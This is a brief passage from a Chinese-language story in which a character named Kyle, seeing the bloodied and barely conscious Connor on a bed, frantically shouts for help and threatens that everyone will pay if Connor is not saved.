“凯……”床上的血人苍白无力的挤出了虚弱的一个字。 凯尔似乎瞬间醒悟,他瞬间嘶吼着。 “来人,救康诺!不把他救活所有人陪葬!”